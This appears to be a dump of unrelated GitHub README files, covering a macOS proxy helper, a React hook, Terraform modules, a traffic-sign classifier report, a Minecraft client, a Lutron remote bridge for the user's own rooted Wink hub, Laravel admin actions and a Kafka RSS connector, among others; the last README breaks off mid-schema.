text:
# proxy_helper

(C)2018 WATANABE Takuma<EMAIL_ADDRESS>
Licence: MIT.

## What is this

The `proxy_helper` utility reads the proxy settings from System Preferences and constructs
the `http_proxy`, `https_proxy`, `ftp_proxy` and `no_proxy` environment variables respectively.

    $ proxy_helper -s
    http_proxy="http://YOUR_HTTP_PROXY_SERVER:PORT"; export http_proxy; https_proxy="http://YOUR_HTTPS_PROXY_SERVER:PORT"; export https_proxy; ftp_proxy="http://YOUR_FTP_PROXY_SERVER:PORT"; export ftp_proxy; no_proxy="NO_PROXIES"; export no_proxy;

## How to install

Homebrew tap is available at https://github.com/takumaw/homebrew-proxy_helper.

    brew tap takumaw/proxy_helper
    brew install proxy_helper

Or, you may build a binary from the source. See [INSTALL.md](/INSTALL.md).

## How it works

In your `/etc/profile` for BASH, or `/etc/zprofile` for ZSH, add the following code snippet:

    if [ -x /usr/local/opt/proxy_helper/libexec/proxy_helper ]; then
        eval `/usr/local/opt/proxy_helper/libexec/proxy_helper -s`
    fi

Change the path to the binary when you install it to another directory (e.g. built from the source.)

You may innstead put the snippet on `~/.bash_profile`, `~/.zshenv` or `~/.zprofile`.

For CSH or TCSH users, put the following code to e.g. `/etc/csh.login`:

    if ( -x /usr/local/opt/proxy_helper/libexec/proxy_helper ) then
        eval `/usr/local/opt/proxy_helper/libexec/proxy_helper -c`
    endif

That's all set! All your newly invoked shells now have proxy environment variables set.

Re-open your terminal, and you see:

    $ export
       :
    ftp_proxy=http://YOUR_FTP_PROXY_SERVER:PORT
    http_proxy=http://YOUR_HTTP_PROXY_SERVER:PORT
    https_proxy=http://YOUR_HTTPS_PROXY_SERVER:PORT
    no_proxy=NO_PROXIES
       :

    $ curl -O ...
    # Commands works behind your proxy!

----

# Man Page of `proxy_helper`

## NAME

`proxy_helper` -- helper for constructing proxy environment variables

## SYNOPSIS

    proxy_helper [-c | -s]

## DESCRIPTION

The `proxy_helper` utility reads the proxy settings from System Preferences and constructs
the `http_proxy`, `https_proxy`, `ftp_proxy` and `no_proxy` environment variables respectively.

Options:

    -c      Generate C-shell commands on stdout.  This is the default if SHELL ends with "csh".

    -s      Generate Bourne shell commands on stdout.  This is the default if SHELL does not end with "csh".

The `proxy_helper` utility reads the proxy configuration from the System Preferences,
and prints a one-liner shell script defining `*_proxy` environment variables.

  * `http_proxy` - Generated from the "Web Proxy Server".
  * `https_proxy` - Generated from the "Secure Web Proxy Server".
  * `ftp_proxy` - Generated from the "FTP Proxy Server".
  * `no_proxy` - Generated from "Bypass proxy settings".

The `no_proxy` variable is generated based on the rules below:

  * If a host matches to the pattern `*.some.domain.name`, then `some.domain.name` is added.
  * If a host matches to the pattern `[0-9]+.[0-9]+.[0-9]+.[0-9]+` (that is, IPv4 address), then the host is added as is.
  * Ignored otherwise.

The proxy settings are retrieved from the network interface with the highest priority amongst currently active ones.

After you connected to another network environment, you may manually re-run this command to apply new proxy settings.

## USAGE

The `proxy_helper` utility should not be invoked directly.
It is intended only for use by the shell profile.

In your `/etc/profile` for BASH, or `/etc/zprofile` for ZSH, add the following code snippet:

    if [ -x PATH_TO_YOUR_INSTALLATION/proxy_helper ]; then
        eval `PATH_TO_YOUR_INSTALLATION/proxy_helper -s`
    fi

## AUTHOR

Takuma Watannabe<EMAIL_ADDRESS>
## SEE ALSO

  * `path_helper(8)`

## BUGS

Currently, Proxy Auto-Configuration (PAC) scripts are not supported.
You have to manually specify your proxy servers in the System Preferences.


text:
# react-use-sdk-hook
React hook for loading script/SDK inside React components.

## install
`npm install react-use-sdk-hook`

## usage
```js
import useSDK from 'react-use-sdk-hook';

const MyComponent = () => {
  const [loaded, cleanUp] = useSDK({src: 'https://path/to/your/desired/script.js', cleanUpFlag: true});

  if (loaded) console.log('script is loaded!')

  useEffect(() => {
    // cleanup() removes <script /> element generated by useSDK hook
    cleanUp();
  }, [cleanUp]);

  return (
    // ...
  );
};

export default MyComponent;

```

## options
`useSDK` recieves object with key/values below.

- `src`(required): source of a script thar you want to load.
- `cleanUpFlag`(optional, default value is `false`): if `cleanUpFlag` is true, `<script />` element generated by `useSDK` hook will be removed when component unmounts.

## licence
MIT

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

license_type: permissive


text:
# Terraform Modules
This repository contains terraform code I use in various projects, broken out by module.

In the base of the repo is a basic CloudFormation template and shell script for creating a remote state backend if one does not already exist.

## Prerequisites
* Terraform `>= 0.12.25`
* jq `>= 1.6`
* AWSCLI installed and configured with active AWS credentials

## Setup
Setup involves deploying a remote backend, and then bootstrapping project folders as needed.

### Backend
The [backend](backend/README.md) folder contains a Cloudformation template, wrapped with a shell script, for creating an S3 bucket and DynamoDB table for remote state and locking.

### Bootstrapping
The [bootstrap](bootstrap/README.md) folder contains a project bootstrapping shell script. It assumes you have created a backend using the CloudFormation template included in this repository.

repository: codevbus/terraform-modules

gha_language: HCL

gha_license_id: MIT

repo_name: codevbus/terraform-modules


text:
# **Traffic Sign Recognition**

[//]: # (Image References)

[image1]: ./Used_Images/Distribution_Training.png "Distribution"
[image2]: ./Used_Images/Distribution_Training_Augmentation.png "Distribution_Augmentation"
[image3]: ./Used_Images/Sign.png "Traffic_sign"
[image4]: ./Used_Images/Figure_Processing.png "Figure_Processing"
[image5]: ./Used_Images/Transform_Processing.png "Transform_Processing"
[image6]: ./Used_Images/Image_Online.png "Image_Online"

---

#### In this project deep learning is used to recognize 43 german traffic signs. LeNet5 architecture is the basic structurer of the model, then pre-processing, for example, grayscale and normalization, is applied. Since the distribution of 43 classes are not balance, augmentation of images are added to improve the validation accuracy. After trying to change the parameters, for example, epochs, batch number, dropout rate, the validation accuracy reached 96.3%.

### Data Set Summary & Exploration

#### 1. There are three groups of data set: training set, validation set and test set.

The summary statistics of the traffic
signs data set are as this:

* The size of training set is 34799
* The size of the validation set is 4410
* The size of test set is 12630
* The shape of a traffic sign image is 32x32x3
* The number of unique classes/labels in the data set is 43

#### 2. Include an exploratory visualization of the dataset.

Here is an exploratory visualization of the data set. It is a bar chart showing how each class of traffic sign data distributed. It is shown that, some classes have much more data than the other classes. The maximal number of one class is
![alt text][image1]
In the following, for each sign class one example is shown.
![alt text][image3]
### Design and Test a Model Architecture

#### 1. Pre-Proccesing of the data set
Only grayscale and normalization are used to pre-process the images. It shows the difference of before after pre-processing.
![alt text][image4]

In many articles, augmentation is proven to improve the prediction accuracy. (https://chatbotslife.com/german-sign-classification-using-deep-learning-neural-networks-98-8-solution-d05656bf51ad) And then I generated additional data for the sign class, in which the total number is less than 750. Three augmented images are created with rotation, scaling and transformation. Here is an example of augmented images:
![alt text][image5]

After augmentation the difference between different classes are less. The characteristics of the augmented training set are as follows.
![alt text][image2]

#### 2. Final model architecture

My final model consisted of the following layers:

| Layer         		|     Description	        					|
|:---------------------:|:---------------------------------------------:|
| Input         		| 32x32x1  image   							|
| Convolution 5x5     	| 1x1 stride, same padding, outputs 28x28x6 	|
| RELU					|												|
| Max pooling	      	| 2x2 stride,  outputs 14x14x6 				|
| Convolution 5x5	    | 1x1 stride, same padding, outputs 10x10x16     									|
| RELU					|												|
| Max pooling	      	| 2x2 stride,  outputs 5x5x16 				|
| Fully connected	(1)	| 400 inputs, 300 outputs       									|
| Fully connected	(2)	| 300 inputs, 120 outputs       									|
| dropout				| 0.8     									|
| Fully connected	(3)	| 120 inputs, 43 outputs       									|

#### 3. Approach to find a solution to have high accuracy and to train the model

My final model results were:
* training set accuracy of 99.9%
* validation set accuracy of  96.3%
* test set accuracy of 93.6

LeNet architecture is the initial model I choose from course. Why I chose LeNet Architecture? Because it is a proved good architecture for traffic sign classification. The input data of LeNet has one feature, whereas, colorful traffic sign image has three features. Therefore, the number of features should be changed. And the classified groups for LeNet are 10, whereas we need 43. Therefore, the output number should be corrected. The original model consists the following layers:

| Layer         		|     Description	        					|
|:---------------------:|:---------------------------------------------:|
| Input         		| 32x32x1 gray image   							|
| Convolution 5x5     	| 1x1 stride, same padding, outputs 28x28x6 	|
| RELU					|												|
| Max pooling	      	| 2x2 stride,  outputs 14x14x6 				|
| Convolution 5x5	    | 1x1 stride, same padding, outputs 10x10x16      									|
| RELU					|												|
| Max pooling	      	| 2x2 stride,  outputs 5x5x16 				|
| Fully connected (1)		| 400 inputs, 120 outputs        									|
| Fully connected (2)		| 120 inputs, 84 outputs        									|
| Fully connected (3)		| 84 inputs, 34 outputs        									|
| Softmax				| etc.        									|

With the initial model and with the values of parameters in the following, the validation accuracy is around 89%.

|			mu	|	sigma	|dropout|EPOCHS|BATCH_SIZE|rate|
|:----:|:-----:|:------:|:-----:|:------:|:-----:|
|			0		|		0.1		|None|10|128|0.001|

Then I tried to increase or decrease one of the parameters once to check if the change can imorove the accuracy.
1. Increase the EPOCHS to 50, which improve the validation accuracy to 92%. But it also shows overfitting.
2. Increase iteration rate from 0.001 to 0.002, the maximal validation acccuracy in 10 EPOCHS is 90%.
sigma from 0.1 to 0.2, the validation accuracy is 90%
3. Sigma can improve the start accuracy but hasn't improved the final result.
4. BATCH_SIZE can also not improve the accuracy obvious.
5. Try to change the input and output number in full-connected layer, 400, 320, 180, 43, the validation accuracy increased to 89.5%. Try to the output number of each full-connected layer, it shows the output number of the third fully connected layer has largest effect on the accuracy.
6. Try to add dropout in each full-connected layer seperately. With dropout 0.75 in the first fully connnected layer the accuracy is 87.7%. With dropout 0.75 in the second fully connnected layer, the result is 89.2%. With dropout 0.75 in the third fully connected layer, the accuracy increased to 92.4%, which is a big improvement. Then I tried dropout 0.85, 0.8 and 0.7 in the third fully connected layer, dropout 0.8 is the best choice.

### Test a Model on New Images

#### 1. Choose five German traffic signs found on the web and provide them in the report. For each image, discuss what quality or qualities might be difficult to classify.

Here are ten German traffic signs that I found on the web:

![alt text][image6]

The first, fifth and seventh image might be difficult to classify because the traffic sign is small compared with the whole image. The second and eighth are quite similar, which might different to identify. The sixth and ninth images are clear, and there is no any object in the image, they might be easy to classify.In third, fourth and tenth there is other object, it is difficult to say, if it is easy to classify correctly.

#### 2. Discuss the model's predictions on these new traffic signs and compare the results to predicting on the test set. At a minimum, discuss what the predictions were, the accuracy on these new predictions, and compare the accuracy to the accuracy on the test set.

Here are the results of the prediction:

| Image			        |     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| 14 Stop Sign      		| 20 Dangerous curve to the right   									|
| 33 Turn right ahead     			| 30 Beware of ice/snow 										|
| 18 General caution				| 28 Children crossing											|
| 2 Speed limit 50 km/h	      		| 34 Turn left ahead 				|
| 4 Speed limit 70 km/h			| 40 Roundabout mandatory      							|
| 11 Right-of-way at the next intersection		| 11 Right-of-way at the next intersection  	|
| 31 Wild animals crossing		| 37 Turn right ahead  	|
| 40 Roundabout mandatory 		| 33 Right-of-way at the next intersection  	|
| 12 Priority road		| 12 Priority road	  	|
| 23 Slippery road		| 40 Roundabout mandatory   	|

The model was able to correctly guess 2 of the 10 traffic signs, which gives an accuracy of 20%. This compares favorably to the accuracy on the test set is low.

#### 3. Describe how certain the model is when predicting on each of the five new images by looking at the softmax probabilities for each prediction. Provide the top 5 softmax probabilities for each image along with the sign type of each probability.

The code for making predictions on my final model is located in the last second cell of the Ipython notebook.

For the first image Stop Sign, the model is relatively sure that this is a Beware of ice/snow sign (probability of 0.6). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .60         			| 30 Beware of ice/snow  									|
| .15     				| 40 Roundabout mandatory 										|
| .14					| 17 No entry											|
| .09	      			| 38 Keep right					 				|
| .02				    | 1 Speed limit 30     							|

For the second image Turn right ahead, the model is very sure that this is a Beware of ice/snow sign (probability of 0.94). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .94         			| 30 Beware of ice/snow 									|
| .05     				| 29 Bicycle crossing 										|
| .01					| 38 Keep right											|
| .01	      			| 28 Children crossing					 				|
| .00				    | 23 Slippery Road      							|

For the third image General caution, the model is very sure that this is a Children crossing (probability of 1). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| 1.00         			| 28 Children crossing									|
| .00     				| 41 End of no passing 										|
| .00					| 36 Go straight or right											|
| .00	      			| 9 No passing					 				|
| .00				    | 3 Speed limit 60      							|

For the forth image Speed limit 50 km/h, the model is very sure that this is a slippery road sign (probability of 0.85). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .85         			| 23 Slippery road							|
| .12     				| 34 Turn left ahead 										|
| .01					| 28 Children crossing											|
| .00	      			| 30 Beware of ice/snow					 				|
| .00				    | 37 Go straight or left      							|

For the fifth image Speed limit 70 km/h, the model is very sure that this is a slippery road sign (probability of 0.98). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .98         			| 40 Roundabout mandatory									|
| .02     				| 28 Children crossing 										|
| .00					| 37 Go straight or left											|
| .00	      			| 27 Pedestrians					 				|
| .00				    | 29 Bicycle crossing        							|

For the sixth image Right-of-way at the next intersection, the model is very sure that this is Right-of-way at the next intersection (probability of 1). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| 1.00         			| 11 	Right-of-way at the next intersection								|
| .00     				| 30 Beware of ice/snow 										|
| .01					| 40 Roundabout mandatory											|
| .00	      			| 19 Dangerous	curve to the left				 				|
| .00				    | 12 Priority Road      							|

For the seventh image Wild animals crossing, the model is very sure that this is Go straight or left (probability of 0.997). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .997         			| 37 Go straight or left									|
| .00     				| 26 Traffic signals 										|
| .00					| 40 Roundabout mandatory											|
| .00	      			| 39 Keep left					 				|
| .00				    | 0 Speed limit 20      							|

For the eighth image Roundabout mandatory, the model is very sure that this is Turn right ahead (probability of 0.996). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .996         			| 33 Turn right ahead							|
| .00     				| 12 Priority Road										|
| .00					| 14 Stop											|
| .00	      			| 35 Ahead only					 				|
| .00				    | 25 Road work      				|

For the ninth image Priority road, the model is very sure that this is Priority road (probability of 0.996). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .996         			| 12 Priority Road									|
| .00     				| 40 Roundabout mandatory 										|
| .00					| 18 General caution											|
| .00	      			| 15 No vehicles					 				|
| .00				    | 28 Children crossing      				|

For the tenth image Slippery road, the model is very sure that this is Turn left ahead (probability of 0.96). The top five soft max probabilities were:

| Probability         	|     Prediction	        					|
|:---------------------:|:---------------------------------------------:|
| .96         			| 34 Turn left ahead									|
| .02    				| 37 Go straight or left 										|
| .01					| 14 Stop											|
| .01	      			| 1 Speed limit 30				 				|
| .00				    | 40 Roundabout mandatory      				|


text:
[![Build Status](https://travis-ci.org/DreamLab/node-uriparser.svg?branch=master)](https://travis-ci.org/DreamLab/node-uriparser) [![npm version](https://badge.fury.io/js/uriparser.svg)](https://badge.fury.io/js/uriparser) [![downloads badge](http://img.shields.io/npm/dm/uriparser.svg)](https://www.npmjs.org/package/uriparser)

# node-uriparser

## About:
Bindings for non RFC strict NGINX based parser (https://github.com/DreamLab/ngx_url_parser).

## How to build/install:
```
git submodule update --init --recursive
node-gyp configure build
```
or
```
npm install uriparser
```

## Requirements
Library (uriparser) requires following packages to be installed:
- automake
- autoconf
- libtool
- pkg-config

## API:
There is only one simple function: ````parse(url[, options);````.

Optional argument ````options```` lets you tell the library what your interests are, for example you can tell it to only give you the host.

Available options: ````PROTOCOL````, ````AUTH````, ````HOST````, ````PORT````, ````QUERY````, ````FRAGMENT````, ````PATH````, ````ALL````

## Example:
```js

const uriparser = require('uriparser');

const u = uriparser.parse('http://github.com');
console.log(u);
{ protocol: 'http:', host: 'github.com', path: '/' }

const q = uriparser.parse('https://github.com', uriparser.Uri.PROTOCOL);
console.log(q);
{ protocol: 'https:' }
```

## Benchmark:
Just run ``./benchmark.js``

## License:
```
Copyright (C) DreamLab Onet.pl Sp. z o. o.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
```

repository: DreamLab/node-uriparser

repo_name: DreamLab/node-uriparser


text:
Readme
------

This is the minimum code that seems to be necessary to connect to a
[Minecraft] server version 1.7.2 from [Mojang], but does not much
interesting at the moment.

Features:

* connecting servers both in online and offline mode
* respond KeepAlive messages and send player position updates to remain connected

It does everything that is necessary for a successful online login:

1. Yggdrasil authentication and token refresh
2. Mojang session requests
3. Session key exchange via RSA
4. AES/CFB8 encryption

Subpackages
===========

protocol
--------

Package protocol provides types for all packets as of 1.7.2, as well as functions to
encode and decode primitive types, types used in packets and the packets themselves.
All packets as of 1.7.2 are implemented, but some of them, especially serverbound
packets are untested.

net
---

Package net provides functions and classes for connecting and authentication.
The type ClientConn provides functions to log in and makes it easy to send and
receive protocol messages.

nbt
---

Package NBT is preliminary work on an NBT parser necessary to decode world chunk
information sent by the server.

Note
====

This is a now just a big pile of mess and meant for personal backup mostly.

See also
========

Minecraft [Protocol]

Thanks
======

Special thanks to:

* Nick Gamberini for [Spock]
* Carlos Cobo for [Minero]
* Matthew Collins for [Netherrack]

[Protocol]: http://wiki.vg/Protocol
[Minecraft]: http://minecraft.net
[Mojang]: http://mojang.com
[Spock]: https://github.com/nickelpro/spock
[Minero]: https://github.com/toqueteos/minero
[Netherrack]: https://github.com/NetherrackDev/netherrack

repository: tajtiattila/mctoy

repo_name: tajtiattila/mctoy


text:
---
layout: sidebar-right
title: "Anger is a Gift by Mark Oshiro"
date: 2019-02-05
author: emily-mitchell
category: young-adult
excerpt: "Anger is a Gift is devastating, addictive and raw."
featured-image: /images/featured/featured-anger-is-a-gift.jpg
featured-alt: "Anger is a Gift"
breadcrumb: young-adult
genre: literary-fiction
genre-image: /images/featured/featured-anger-is-a-gift-genre.jpg
genre-alt: "Anger is a Gift"
---

![Anger is a Gift](/images/featured/featured-anger-is-a-gift.jpg)

**[See Anger is a Gift in our catalogue](https://suffolk.spydus.co.uk/cgi-bin/spydus.exe/ENQ/OPAC/BIBENQ?BRN=2446184)**

> "Six years ago, Moss Jefferies' father was murdered by an Oakland police officer. Along with losing a parent, the media's vilification of his father and lack of accountability has left Moss with near crippling panic attacks.

> "Now, in his sophomore year of high school, Moss and his fellow classmates find themselves increasingly treated like criminals by their own school. New rules. Random locker searches. Constant intimidation and Oakland Police Department stationed in their halls.

I don’t cry at books or films very often, but Anger is a Gift not only made me cry, it turned me into a blubbering mess, not once, but multiple times. Mark Oshiro writes in a descriptive, realistic and gorgeous way that pulls you in and won’t let go.

The book deals with some heavy topics in an honest and unrelenting way. Oshiro doesn’t hold back with the depictions of brutality, making you really feel as though you’re there.

The characters are casually diverse, nuanced and allowed to be flawed.  That’s part of why this book feels so raw.

This devastating, addictive and raw book just became an early contender for my favourites of 2019.

repository: suffolklibraries/sljekyll

repo_name: suffolklibraries/sljekyll


text:
# Lutron Spy

Lutron Spy lets you use
[Lutron Pico remotes](http://www.amazon.com/Lutron-PJ2-WALL-WH-L01-Remote-Control-Mounting/dp/B00JR202JQ/)
along with a rooted Wink hub to control any REST interface. It
listens to the output of a sniffed serial port over which communication
with the Lutron radio takes place.

## Prerequisites

You must have slsnif already compiled for the Wink hub. I have made
a buildroot available in the form of a [docker container.](https://github.com/evq/imx28-buildroot)

## How to compile

Install [goxc](https://github.com/laher/goxc)

```bash
goxc
```

You can then find the cross compiled binary in

```
$GOPATH/bin/lutron-spy-xc/snapshot/linux_arm/lutron-spy
```

## Configuration

Configuration is done via a json file which specifies which HTTP method,
content-type,
url and data to make a request with. Simply copy example-config.json to
remote-config.json and customize it. The serial number is not the one
listed on the back of the remotes, it can either be found in the sqlite3
database and converted to hex or from lutron-spy output. Pressing a button
on an unconfigured remote will result in the serial and button number being
printed, but no further action.

```
serial:  FFA265
button: 2
```

## Usage

```bash
/etc/init.d/S60lutron-core stop
vi /etc/lutron.d/lutron.conf
```

Change the contents to:

```json
{
   "DatabasePath":"/database/lutron-db.sqlite",
   "ServerSocketPath":"/tmp/lutron-core.sock",
   "LoggingPriority":0,
   "HardwareInterfaceType":0,
   "HardwareInterfaceParams":[[0,"/dev/ttyp0"],[1,"115200"]],
   "SqliteDebugEnabled":1
}
```

```bash
./slsnif /dev/ttySP2 -x | ./lutron-spy &
/etc/init.d/S60lutron-core start
```

Remotes can be paired by using the built in aprontest binary.

```bash
aprontest -a -r lutron
```

repository: JustinAiken/lutron-spy

gha_language: Go

repo_name: JustinAiken/lutron-spy


text:
These can then be inserted at the desired position, in your index table or on a detail page of a model.

## Create

Actions can be created via artisan.

```shell
php artisan fjord:action MyAction
```

These then end up in the folder `./fjord/app/Actions`.

```php
namespace FjordApp\Actions;

use Illuminate\Support\Collection;

class MyAction
{
    public function run(Collection $models)
    {
        // Do Something.
    }
}
```

## Responses

When a `message` is returned via a json response, a toast is displayed in the lower right corner of the page containing the message. This can be displayed in four variants: `success`, `info`, `warning`, `danger`. The default is `success`.

```php
public function run(Collection $models)
{
    return response()->json(['message' => 'Hello there!', 'variant' => 'info']);
}
```

There is a helper for each vairant:

```php
return response()->success('My message.');
return response()->info('My message.');
return response()->warning('My message.');
return response()->danger('My message.');
```

## Redirects

If you want to redirect to another page after you have performed your action, you can return one of the Laravel helpers for [redirects](https://laravel.com/docs/7.x/redirects).

```php
public function run(Collection $models)
{
    // Do Something.

    return redirect('your/redirect/url');
}
```

## Confirm Modal

If your action has the function modal, the execution of the action must be confirmed via a modal.

```php
namespace FjordApp\Actions;

use Illuminate\Support\Collection;
use Fjord\Page\Actions\ActionModal;

class MyAction
{
    public function modal(ActionModal $modal)
    {
        $modal->confirmVariant('primary')
            ->confirmText('Run')
            ->message('Do you want to run the Action?');
    }

    public function run(Collection $models)
    {
        // Do Something.
    }
}
```

## Fields

Form fields can be added to the confirm modal of an action. The values of these fields are passed to the action. This allows you, for example, to let the user type in a message to be sent by mail, as shown the following example.

```php
use Illuminate\Support\Collection;
use Fjord\Page\Actions\ActionModal;
use Fjord\Page\Actions\AttributeBag;

public function modal(ActionModal $modal)
{
    $modal->form(function($form) {
        $form->text('message')->title('Message');
    });
}

public function run(Collection $models, AttributeBag $attributes)
{
    foreach($models as $model) {
        Mail::to($model)->send(new ExampleEmail($attributes->message));
    }
}
```

## Display

Actions can be added to a table using the action method. To do this, the title and namespace of the action must be specified as parameters.

```php
// CrudConfig

use FjordApp\Actions\MyAction;

public function index(CrudIndex $page)
{
    $page->table(...)
        ->action('My Action', MyAction::class);
}
```

Actions can also be displayed on the show page of a crud, even in the slots `navigationLeft`, `navigationRight`, `navigationControls`, `headerLeft` and `headerRight`:

![navigation](./../basics/screens/page_slots.jpg 'navigation')

```php
// CrudConfig

use FjordApp\Actions\MyAction;

public function show(CrudShow $page)
{
    $page->navigationLeft()->action('My Action', MyAction::class);
    $page->navigationRight()->action('My Action', MyAction::class);
    $page->navigationControls()->action('My Action', MyAction::class);
    $page->headerLeft()->action('My Action', MyAction::class);
    $page->headerRight()->action('My Action', MyAction::class);
}
```

The `variant` of the actions that are displayed as buttons can be adjusted:

```php
$page->headerLeft()->action('My Action', MyAction::class)->variant('outline-primary');
```

repository: aidotno/laravel-content-administration

repo_name: aidotno/laravel-content-administration


text:
# SignalCD [![Build Status](https://cloud.drone.io/api/badges/signalcd/signalcd/status.svg)](https://cloud.drone.io/signalcd/signalcd)

Continuous Delivery for Kubernetes reacting to Observability Signals.

## Overview

Deploying applications on Kubernetes often involves a lot more manual steps then we want.
We want to reuse existing observability signals to automate all steps in the application lifecycle.
This will drastically reduce the chance of human errors when deploying business critical applications.

## Example

[embedmd]:# "examples/config/01-simple.yaml"
```yaml
kind: Pipeline
name: example

steps:
  - name: deploy
    image: quay.io/signalcd/example
    commands:
      - kubectl apply -f /manifests

checks:
  - name: kubernetes-status
    image: quay.io/signalcd/kubernetes-status
    labels: app=cheese
    duration: 10m
```

## Development
### Architecture

![architecture.svg](documentation/architecture.svg)

### Prerequisites

* Go 1.14+
* Docker (needed to generate OpenAPI spec and build containers)

### API

The API is generated with an OpenAPI spec that you can find in `/api/api.yaml`. From that file we generate a Go server into `/api/go-server`, a Go client into `/api/go` and a JavaScript client into `/api/javascript`. All of these can be generate by running `make api`.

repository: signalcd/signalcd

repo_name: signalcd/signalcd


text:
I am the core of the model: the MCQ.

Description
---------------------

A MCQ is composed of a title and questions. I have a marking scheme to mark a user answers.

I am composed of OOAbstractQuestion.

Public API and Key Messages
---------------------

- #randowizedQuestion 	Return the questions in a random order.
- #validate 				If the MCQ is not valid, I will raise an error.

Example
---------------------

	OOMCQ new
		title: 'Title';
		markirgScheme: OOStrictMarkingScheme;
		addQuestion: aQuestion;
		yourself

Internal Representation and Key Implementation Points
---------------------

    Instance Variables
	markingScheme:		<aMarkingScheme> 	An object to mark a user answers
	questions:			<aSet>				A Set of questions
	title:				<aString>			The title of the MCQ

repository: jecisc/OOnoz

branch_name: refs/heads/development

repo_name: jecisc/OOnoz


text:
# Personal Library

This is my solution to the [Personal Library](https://www.freecodecamp.org/learn/quality-assurance/quality-assurance-projects/personal-library) challenge.

## Instructions

Build a full stack JavaScript app that is functionally similar to [the sample project](https://personal-library.freecodecamp.rocks/). Working on this project will involve you writing your code using one of the following methods:

- Clone this GitHub repo and complete your project locally.
- Use our Replit starter project to complete your project.
 Be sure to incorporate all the files from our GitHub repo.

When you are done, make sure a working demo of your project is hosted somewhere public. Then submit the URL to it in the `Solution Link` field. Optionally, also submit a link to your project's source code in the `GitHub Link` field.

---

1. Add your MongoDB connection string to .env without quotes as DB Example: `DB=mongodb://admin:pass@1234.mlab.com:1234/fccpersonallib`
2. In your `.env` file set `NODE_ENV` to test, without quotes
3. You need to create all routes within `routes/api.js`
4. You will create all functional tests in `tests/2_functional-tests.js`

## Test requirements

- You can provide your own project, not the example URL.

- You can send a `POST` request to `/api/books` with title as part of the form data to add a book. The returned response will be an object with the `title` and a unique `_id` as keys. If `title` is not included in the request, the returned response should be the string `missing required field title`.

- You can send a `GET` request to `/api/books` and receive a JSON response representing all the books. The JSON response will be an array of objects with each object (book) containing `title`, `_id`, and `commentcount` properties.

- You can send a `GET` request to `/api/books/{_id}` to retrieve a single object of a book containing the properties `title`, `_id`, and a `comments` array (empty array if no comments present). If no book is found, return the string `no book exists`.

- You can send a `POST` request containing comment as the form body data to `/api/books/{_id}` to add a comment to a book. The returned response will be the books object similar to `GET /api/books/{_id}` request in an earlier test. If comment is not included in the request, return the string missing required field comment. If no book is found, return the string `no book exists`.

- You can send a `DELETE` request to `/api/books/{_id}` to delete a book from the collection. The returned response will be the string `delete successful` if successful. If no book is found, return the string `no book exists`.

- You can send a `DELETE` request to `/api/books` to delete all books in the database. The returned response will be the string `complete delete successful` if successful.

- All 10 functional tests required are complete and passing.

## License

[MIT](./LICENSE)

## Live Project

[Personal Library API](https://personal-library-api-fcc.herokuapp.com/)

branch_name: refs/heads/main


text:
# Kafka Connect RSS

Kafka Connect RSS and Atom Source Connector.

[![Build Status](https://travis-ci.com/kaliy/kafka-connect-rss.svg?branch=master)](https://travis-ci.com/kaliy/kafka-connect-rss)
[![codecov](https://codecov.io/gh/kaliy/kafka-connect-rss/branch/master/graph/badge.svg)](https://codecov.io/gh/kaliy/kafka-connect-rss)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.kaliy.kafka/kafka-connect-rss/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.kaliy.kafka/kafka-connect-rss)
[![Known Vulnerabilities](https://snyk.io/test/github/kaliy/daily-coding-problem/badge.svg?targetFile=pom.xml)](https://snyk.io/test/github/kaliy/kafka-connect-rss?targetFile=pom.xml)

## Configuration

Connector supports polling multiple URLs and sending output to a single topic. Sample configuration file can be found in the repository [here](https://github.com/kaliy/kafka-connect-rss/blob/master/config/rss-source-connector-sample.properties).

URLs should be percent encoded and separated by space. Tasks will be split evenly, e.g. for 5 URLs and 3 `tasks.max` there will be 3 tasks created with 2, 2 and 1 URLs each.
If `tasks.max` is higher than provided number of URLs, only the necessary number of tasks will be created with 1 URL each.

Connector has following configuration options:

| Name            | Description                                                        | Type   | Default Value | Importance |
|-----------------|--------------------------------------------------------------------|--------|---------------|------------|
| `rss.urls`      | RSS or Atom feed URLs                                              | string |               | high       |
| `topic`         | Topic to write to                                                  | string |               | high       |
| `sleep.seconds` | Time in seconds that connector will wait until querying feed again | int    | 60            | medium     |

## Output

Message has the following schema:

```json
{
  "schema": {
    "type": "struct",
    "fields": [
      {
        "type": "struct",
        "fields": [
          {
            "type": "string",
            "optional": true,
            "field": "title"
          },
          {
            "type": "string",
            "optional": false,
            "field": "url"
          }
        ],
        "optional": false,
        "name": "org.kaliy.kafka.rss.Feed",
        "version": 1,
        "field": "feed"
      },
      {
        "type": "string",
        "optional": false,
        "field": "title"
      },
      {
        "type": "string",
        "optional": false,
        "field": "id"
      },
      {
        "type": "string",
        "optional": false,
        "field": "link"
      },
      {
        "type": "string",
        "optional": true,
        "field": "content"
      },
      {
        "type": "string",
        "optional": true,
        "field": "author"
      },
      {
        "type": "string",
